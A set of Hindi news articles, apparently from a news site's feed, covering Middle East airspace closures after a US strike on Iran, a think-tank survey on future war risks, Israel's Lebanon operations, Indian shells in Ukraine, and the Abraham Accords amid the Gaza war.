फ्लाइट ट्रैकिंग वेबसाइट FlightRadar24 के मुताबिक, ईरान के परमाणु ठिकानों पर अमेरिकी हमले के बाद इस क्षेत्र के ऊपर से कॉमर्शियल फ्लाइट्स की आवाजाही लगभग ठप हो गई है। विमान अब लंबा रास्ता चुनने को मजबूर हैं—कोई कैस्पियन सागर से उत्तर की ओर मुड़ रहा है, तो कोई मिस्र और सऊदी अरब के जरिए दक्षिण की ओर। इससे न सिर्फ उड़ानों का समय बढ़ गया है बल्कि ईंधन और कर्मचारियों की लागत भी कई गुना बढ़ गई है।

अमेरिकी हमले के बाद सुरक्षा जोखिम और बढ़ गए हैं

13 जून को जब इजरायल ने पहली बार ईरान पर हमला किया, तभी से कई एयरलाइंस ने मध्य पूर्व की उड़ानों को निलंबित कर दिया था। अब अमेरिका के हमले के बाद सुरक्षा जोखिम और बढ़ गए हैं। FlightRadar24 ने सोशल मीडिया पर कहा है कि यह स्थिति पिछले सप्ताह से ही बनी हुई है, जब नए नो-फ्लाई जोन घोषित किए गए थे।

इस तनाव के बीच कई देशों ने अपने नागरिकों को वहां से निकालने की प्रक्रिया तेज कर दी है। जापान ने रविवार को जानकारी दी कि उसने 16 जापानी नागरिकों सहित 21 लोगों को ईरान से अजरबैजान जमीन के रास्ते सुरक्षित निकाला। यह बीते चार दिनों में दूसरी सफल निकासी रही। उधर, न्यूजीलैंड सरकार ने भी मध्य पूर्व में अपना हरक्यूलिस सैन्य विमान तैनात कर दिया है, जो सोमवार को ऑकलैंड से रवाना हुआ।

इजरायल की दो प्रमुख एयरलाइंस—एल अल और अर्किया – ने भी अपनी सभी बचाव उड़ानें रोक दी हैं। एल अल ने तो 27 जून तक की सभी निर्धारित उड़ानों को भी रद्द कर दिया है। वहीं, इजरायल के एयरपोर्ट अथॉरिटी ने ऐलान किया है कि देश का हवाई क्षेत्र अगली सूचना तक पूरी तरह से बंद रहेगा। हालांकि, मिस्र और जॉर्डन से जमीनी आवाजाही चालू रहेगी।

जैसे-जैसे तनाव बढ़ रहा है, वैसे-वैसे दुनिया भर की एयरलाइंस ज्यादा सतर्क हो रही हैं। ड्रोन और मिसाइलों से भरे इस माहौल में हवाई उड़ान अब सिर्फ दूरी का नहीं, जिंदगी का भी सवाल बनती जा रही है।

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अटलांटिक काउंसिल थिंक टैंक ने करवाया सर्वेक्षण, अंतरिक्ष में चलेंगी मिसाइलें, गिरेगा परमाणु बम… https://pratyushaashakinayikiran.com/?p=140011 Sat, 15 Mar 2025 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=140011 वॉशिंगटन
 दुनिया में जियो-पॉलिटिकल हालात काफी खतरनाक रास्ते पर मुड़ चला है। यूक्रेन युद्ध के बाद दुनिया कई बार परमाणु युद्ध के मुहाने पर पहुंच चुकी है। लेकिन आगे हालात और भयावह होने वाले हैं। वाशिंगटन में वैश्विक मामलों के थिंक टैंक अटलांटिक काउंसिल की तरफ से किए गये एक सर्वेक्षण से बता चला है कि तीसरा विश्वयुद्ध निश्चित है और ये अगले 10 सालों में शुरू हो सकता है। इस सर्वेक्षण में दुनिया के 300 से ज्यादा एक्सपर्ट्स ने भाग लिया था। इस दौरान इस मुद्दे पर बात की गई कि आखिर अगले 10 सालों में दुनिया कैसे दिखेगी। कई एक्सपर्ट्स ने भविष्यवाणी की है कि 2035 तक अमेरिका, चीन और रूस जैसी वैश्विक शक्तियों के बीच युद्ध छिड़ सकता है। वहीं कई एक्सपर्ट्स का कहना है कि अगले 10 सालों में जलवायु परिवर्तन दुनिया के लिए बहुत बड़ा खतरा होगा।

डेली मेल की रिपोर्ट के मुताबिक इस सर्वेक्षण में 357 राजनीतिक रणनीतिकारों ने हिस्सा लिया था, जिन्होंने अगले 10 सालों में दुनिया की बदलती परिस्थितियों और हालातों को लेकर भविष्यवाणियां की हैं। इस दौरान 10 में से चार एक्सपर्ट्स ने भविष्यवाणी की है कि अगले 10 सालों में अमेरिका, चीन और रूस जैसी शक्तियों के बीच विश्वयुद्ध शुरू हो सकता है। उन्होंने आशंका जताई है कि ये लड़ाई सिर्फ पृथ्वी तक सीमित नहीं रहेगी, बल्कि युद्ध की आग अंतरिक्ष तक पहुंचेगी।

10 सालों में दुनिया कितनी होगी खतरनाक?
सर्वेक्षण के दौरान 10 में से 3 एक्सपर्ट्स ने कहा कि 2035 तक दुनिया के लिए सबसे बड़ा सिरदर्द जलवायु परिवर्तन होगा। जबकि करीब 1.7 प्रतिशत एक्सपर्ट्स का मानना है कि अगले 10 सालों में कोई महामारी दुनिया में दस्तक दे सकती है। वहीं 5.1 प्रतिशत एक्सपर्ट्स का कहना है कि वित्तीय ऋण अगले 10 सालों में दुनिया को पंगु बना सकता है। एक्सपर्ट्स का मानना है कि युद्ध का अंत यूक्रेन के लिए अच्छा नहीं होगा और यूक्रेन युद्ध खत्म होने के बाद अमेरिका की आर्थिक और कूटनीतिक वर्चस्व में भारी कमी आएगी। एक्सपर्ट्स इस बात पर अभी भी एकमत हैं कि दुनिया में परमाणु युद्ध का खतरा बना हुआ है।

अटलांटिक काउंसिल की टीम ने कहा, "यह भयावह पूर्वानुमान निश्चित तौर पर एक अंधकारमय वैश्विक परिदृश्य के मुताबिक है, जिसमें 62 प्रतिशत एक्सपर्ट्स ने अनुमान लगाया है कि एक दशक बाद दुनिया आज की तुलना में बदतर होगी। इस दौरान सिर्फ 38 प्रतिशत ने अनुमान लगाया है कि यह बेहतर होगी।" इस सर्वेक्षण के दौरान एक्सपर्ट्स के लिए सबसे ज्यादा चिंताजनक बात परमाणु युद्ध का खतरा था। लेकिन कई एक्सपर्ट्स का मानना है कि परमाणु युद्ध जैसा ही खतरनाक स्थिति जलवायु परिवर्तन से भी बन सकते हैं। 10 में से तीन एक्सपर्ट्स ने जलवायु परिवर्तन को 2025 और 2035 के बीच दुनिया में होने वाले विकास के लिए सबसे बड़ा खतरा माना।

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इजरायली सेना ने दक्षिणी लेबनान में 130 कस्बों से हिज्बुल्लाह आतंकियों को भगाया https://pratyushaashakinayikiran.com/?p=81906 Wed, 09 Oct 2024 10:07:00 +0000 https://pratyushaashakinayikiran.com/?p=81906 बेरुत

इजरायल ने दक्षिणी लेबनान में 130 कस्बों और गांवों से हिज्बुल्लाह आतंकियों को भगा दिया है. यानी इतनी जगहों पर इजरायल का ग्राउंड ऑपरेशन चल रहा है. इस बीच, उत्तरी सीमा पर हुए एक मोर्टार हमले में दो इजरायली रिजर्व सैनिकों की मौत हो गई है. जिसके बाद इजरायल ने लेबनान में और सैनिकों को भेजने की तैयारी कर ली है.

इसका मतलब ये है कि बहुत जल्द लेबनान में हिज्बुल्लाह के खिलाफ प्रचंड युद्ध होगा. इजरायल की मिलिट्री ने और सैनिकों को लेबनान के अंदर ग्राउंड ऑपरेशन के लिए उतारा है. यानी हिज्बुल्लाह आतंकियों के सफाए के लिए लेबनान में भारी गोलीबारी होगी. हिज्बुल्लाह भी इस बीच लगातार उत्तरी इजरायल की तरफ रॉकेट दाग रहा है.

वेस्ट बैंक सीमा पर ओरानित में 25 वर्षीय मास्टर सार्जेंट एते अजुले और हेरत इलाके में वारंट ऑफिसर अवीव मेगन मोर्टार हमले में मारे गए. दोनों ही इजरायली डिफेंस फोर्सेस की एलीट 5515 कॉम्बैट मोबिलिटी यूनिट के सदस्य थे. एक तीसरा सैनिक भी बुरी तरह से जख्मी हुआ है. फिलहाल उसका इलाज चल रहा है.

हिज्बुल्लाह के खात्मे तक चलता रहेगा ऑपरेशन

इजरायल ने सीमित, लोकल और टारगेटेड हमले वाला मिलिट्री ऑपरेशन शुरू किया था. ताकि सीमा के आसपास लेबनान के अंदर मौजूद हिज्बुल्लाह के ठिकानों को खत्म किया जा सके. इसके लिए इजरायल ने पहले ही लेबनानी लोगों को शहर छोड़कर सुरक्षित स्थानों पर जाने को कह दिया था.

इजरायली सेना ने साफ कहा है कि अगर जरूरत बढ़ती रही तो हम सैनिकों की संख्या और मिलिट्री ऑपरेशन की तीव्रता को बढ़ाते रहेंगे. ये काम अगले ही कुछ हफ्तों में हो जाएगा. अभी एकदम ताजा निर्देश अवाली नदी के पास मौजूद दो दर्जन गांवों के लिए है, ताकि वो अपने घरों को खाली करके चले जाएं.

10 हजार इजरायली सैनिक लेबनान के अंदर

6 अक्टूबर 2024 की रात में लेबनान में तीसरी इजरायली डिविजन भी घुस चुकी है. दो डिविजन पहले से मौजूद थी. हजारों इजरायली सैनिक लेबनान में ग्राउंड ऑपरेशन में लगे हैं. इस समय करीब 10 हजार इजरायली सैनिक लेबनान के अंदर ग्राउंड क्लियरेंस में लगे हैं.

इजरायली डिफेंस फोर्सेस के 98वें और 36वें डिविजन के सात 91वीं गैलीली रीजनल डिविजन लेबनान के अंदर मिशन कर रही है. गैलीली रीजनल डिविजन ही लेबनान सीमा की सुरक्षा करती आई है. लेबनान के दक्षिणी इलाके में हिज्बुल्लाह के छोड़े हुए हथियारों का बड़ा जखीरा इजरायल को मिला है. इजरायल को आशंका है कि हिज्बुल्लाह फिर से 7 अक्टूबर जैसा हमला करने की साजिश कर रहा है.

 

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रूस के साथ युद्ध में यूक्रेन दाग रहा भारतीय तोप के गोले, गोला-बारूद की भारी कमी https://pratyushaashakinayikiran.com/?p=72492 Fri, 20 Sep 2024 09:09:00 +0000 https://pratyushaashakinayikiran.com/?p=72492 कीव
 रूस के खिलाफ यूक्रेन युद्ध में भारतीय तोप के गोले का इस्तेमाल कर रहा है। भारतीय हथियार निर्माताओं की ओर से इन्हें यूरोप के देशों को बेचा गया था। बाद में इन्हें यूक्रेन भेज दिया गया। न्यूज एजेंसी रॉयटर्स ने यह खुलासा किया है। रिपोर्ट में कहा गया है कि रूस के विरोध के बावजूद भारत ने व्यापार रोकने के लिए हस्तक्षेप नहीं किया। रिपोर्ट में सूत्रों और सीमा शुल्क के डेटा के आधार पर कहा गया है कि रूस के खिलाफ यूक्रेन की रक्षा का समर्थन करने के लिए हथियारों का ट्रांसफर एक वर्ष से अधिक समय से हो रहा है। भारतीय हथियार निर्यात नियम हथियारों के इस्तेमाल को उन्हीं तक सीमित करता है, जिन्होंने इसे खरीदा है। अनधिकृत ट्रांसफ होने पर भविष्य में बिक्री रोकी जा सकती है।

रिपोर्ट में तीन भारतीय अधिकारियों के हवाले से कहा गया कि रूस ने कम से कम दो मौकों पर इस मुद्दे को उठाया है। इसमें रूसी विदेश मंत्री सर्गेई लावरोव और डॉ.एस जयशंकर के बीच जुलाई में हुई मीटिंग भी शामिल है। रॉयटर्स की रिपोर्ट के मुताबिक रूस और भारत के रक्षा मंत्रालयों ने इससे जुड़े सवाल का जवाब नहीं दिया। जनवरी में भारीय विदेश मंत्रालय के प्रवक्ता रणधीर जयसवाल ने कहा था कि भारत न यूक्रेन को तोपखाने के लिए गोले नहीं बेचे हैं।

वहीं रूस और भारत के विदेश और रक्षा मंत्रालयों ने इस से जुड़े सवालों के जवाब नहीं दिए। इससे पहले जनवरी में भारतीय विदेश मंत्रालय के प्रवक्ता रणधीर जायसवाल ने एक प्रेस कॉन्फ्रेंस में कहा था कि भारत ने यूक्रेन को हथियार नहीं भेजे हैं और ना ही बेचे हैं। सूत्रों के मुताबिक यूक्रेन ने भारत में बने हुए हथियारों का बहुत कम मात्रा में इस्तेमाल किया है। एक अधिकारी ने अनुमान लगाया कि यह जंग के बाद से यूक्रेन द्वारा आयात किए गए कुल हथियारों का 1% से भी कम है। हालांकि अब तक यह पता नहीं चला है गोला-बारूद को यूरोपीय ग्राहकों ने यूक्रेन को फिर से बेचा गया या दान किया है।

गौरतलब है कि भारत के रूस के साथ भी अच्छे संबंध हैं जो दशकों से भारत को हथियार मुहैया करता है और प्रधानमंत्री नरेंद्र मोदी ने रूस के खिलाफ पश्चिमी देशों के रूस पर लगाए गए प्रतिबंधों में शामिल होने से इनकार कर दिया है। भारत लंबे समय से दुनिया का सबसे बड़ा हथियार आयातक है। यह यूरोप में लंबे समय से चल रहे जंग को अपने हथियार निर्यात क्षेत्र को मजबूत करने के मौके के रूप में भी देख रहा है। स्टॉकहोम इंटरनेशनल पीस रिसर्च इंस्टीट्यूट थिंक-टैंक के मुताबिक भारत ने 2018 और 2023 के बीच लगभग 3 बिलियन डॉलर के हथियारों का निर्यात किया।

कितने हथियार भेजे गए?

रिपोर्ट में कहा गया कि भारत के हथियार का इस्तेमाल यूक्रेन युद्ध में बेहद कम मात्रा में हुआ है। एक अधिकारी का अनुमान है कि यूक्रेन ने जितने भी गोला बारूद का आयात किया है यह उसका एक फीसदी से भी कम होगा। रिपोर्ट में इस बात की पुष्टि नहीं हो सकी कि क्या यूरोप के देशों ने इसे यूक्रेन को दान में दिया या फिर उसे बेचा है। यूक्रेन को भारतीय युद्ध सामग्री भेजने वाले यूरोपीय देशों में इटली और चेक गणराज्य भी शामल हैं। यह यूक्रेन के लिए यूरोपीय संघ से अलग भी हथियार भेज रहे हैं। यूक्रेन युद्ध में सरकारी स्वामित्व वाली कंपनी यंत्र इंडिया के हथियार इस्तेमाल हो रहे हैं।

'भारत ने नहीं की कार्रवाई'

भारतीय अधिकारी ने कहा कि भारत स्थिति पर नजर बनाए है। लेकिन ट्रांसफर की जानकारी रखने वाले एक रक्षा उद्योग के कार्यकारी के साथ उन्होंने कहा कि आपूर्ति को कम करने के लिए भारत ने कोई कार्रवाई नहीं की है। यूक्रेन, इटली, स्पेन और चेक गणराज्य के रक्षा मंत्रालयों ने भी इस पर कोई टिप्पणी नहीं की है। यूक्रेन को सबसे ज्यादा समर्थन अमेरिका देता है। हाल ही में अमेरिका और भारत का रक्षा सहयोग बढ़ा है। इसके अलावा भारत का रूस से भी अच्छा संबंध है, जो उसके हथियारों का प्रमुख सप्लायर रहा है। भारत रूस के खिलाफ पश्चिमी नेतृत्व में शामिल होने से इनकार कर चुका है।

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गाजा युद्ध के बाद भी इजरायल के साथ चट्टान की तरह खड़े हैं ये तीन मुस्लिम देश https://pratyushaashakinayikiran.com/?p=71562 Tue, 17 Sep 2024 10:56:00 +0000 https://pratyushaashakinayikiran.com/?p=71562 तेल अवीव
 चार साल पहले 15 सितम्बर 2020 को जब बहरीन और संयुक्त अरब अमीरात (UAE) के विदेश मंत्री इजरायली प्रधानमंत्री बेंजामिन नेतन्याहू और अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप के साथ अब्राहम समझौते पर हस्ताक्षर करने के लिए खड़े थे, तो इसे मध्य पूर्व में एक नए युग की शुरुआत के तौर पर देखा गया था। ट्रंप ने कहा था, 'हम आज दोपहर यहां इतिहास की दिशा बदलने के लिए यहां आए हैं। दशकों के विभाजन और संघर्ष के बाद हम एक नए मध्य पूर्व की सुबह का प्रतीक हैं।' इजरायली प्रधानमंत्री ने इस समझौते से अरब-इजरायल के संघर्ष के खात्मे की उम्मीद जताई तो ऐसा ही प्रतिध्वनि बहरीन और यूएई के बयानों में सुनाई दी। आगे चलकर इस समझौते में एक और मुस्लिम देश मोरक्को भी शामिल हुआ। आज जब इस समझौते के चार साल पूरे हो चुके हैं, इजरायल गाजा में हमास के साथ युद्ध लड़ रहा है। ईरान और उसके प्रॉक्सी लगातार इजरायल के खिलाफ हमलावर हैं। लेकिन इसके साथ ही मध्य पूर्व में एक नया समीकरण भी नजर आ रहा है।

युद्ध ने बढ़ा दिया है दबाव

गाजा में 11 महीने से जारी युद्ध ने अरब देशों के साथ इजरायल के साथ समझौते पर काफी दबाव डाला है, इसके बावजूद ये रिश्ते अभी तक बने हुए हैं। मध्य पूर्व के जानकार लोग इस बात को स्वीकार करते हैं कि हमास के खिलाफ युद्ध ने इजरायल के साथ संबंधों को लेकर यूएई, बहरीन और मोरक्को पर तनाव डाला है, लेकिन साथ ही एक उम्मीद भी नजर आती है। टाइम्स ऑफ इजरायल ने एक अधिकारी के हवाले से बताया कि स्वाभाविक रूप से यु्द्ध के दौरान संबंधों की असल परीक्षा होती है और यह संबंधों में तनाव भी पैदा करता है।

युद्ध शुरू होने के बाद से वरिष्ठ इजरायली अधिकारियों में केवल राष्ट्रपति इसाक हेर्जोग और वित्त मंत्री नील बरकत ने ही अरब देशों की यात्रा की है। दोनों यूएई में एक अंतरराष्ट्रीय कार्यक्रम में हिस्सा लेने गए थे और यह द्विपक्षीय यात्रा नहीं थी। इजरायल में अधिकारी इस बात पर जोर देते हैं कि युद्ध के चलते तनाव भरे दौर में एक तथ्य में इनकार नहीं किया जा सकता है कि समझौता बना रहेगा। अब्राहम समझौते में शामिल एक अधिकारी ने टाइम्स ऑफ इजरायल को बताया कि तनाव के बावजूद सभी पक्षों का मानना है कि शांति और सहयोग ही सही विकल्प है।

एक रणनीतिक फैसला

इस साल जनवरी में जब गाजा में इजरायली अभियान चरम पर था, यूएई के राष्ट्रपति के सलाहकार अनवर गरगश ने इजरायल के साथ रिश्तों पर बयान दिया था। अनवर ने कहा था कि 'यूएई ने एक रणनीतिक फैसला लिया है और रणनीतिक फैसले लंबे समय के लिए होते हैं।' उन्होंने आगे कहा कि 'इसमें कोई संदेह नहीं है कि रणनीतिक फैसलों की राह में बहुत सारी बाधाएं आती हैं और हम एक बड़ी बाधा (गाजा युद्ध) का सामना कर रहे हैं और हम जरूर इससे निपटेंगे।'

युद्ध के बाद कैसे हैं रिश्तें?

गाजा और टेम्पल माउंट में इजरायली नीतियों की निंदा के बावजूद केवल जॉर्डन ही इकलौता अरब सहयोगी था जिसने आधिकारिक तौर पर अपने राजदूत को युद्ध के दौरान इजरायल से वापस बुला लिया। मोरक्को, बहरीन और यूएई के राजदूतों ने सार्वजनिक समारोहों और मीडिया से दूरी बनाई लेकिन वे लगातार देशों के बीच आते-जाते रहे और पर्दे के पीछे काम करते रहे। ध्यान देने वाली बात है कि तनाव के बावजूद तीनों देशों के साथ इजरायल का द्विपक्षीय व्यापार काफी बढ़ गया है। मोरक्को और यूएई से इजरायल के लिए सीधी उड़ानें जारी हैं।

 

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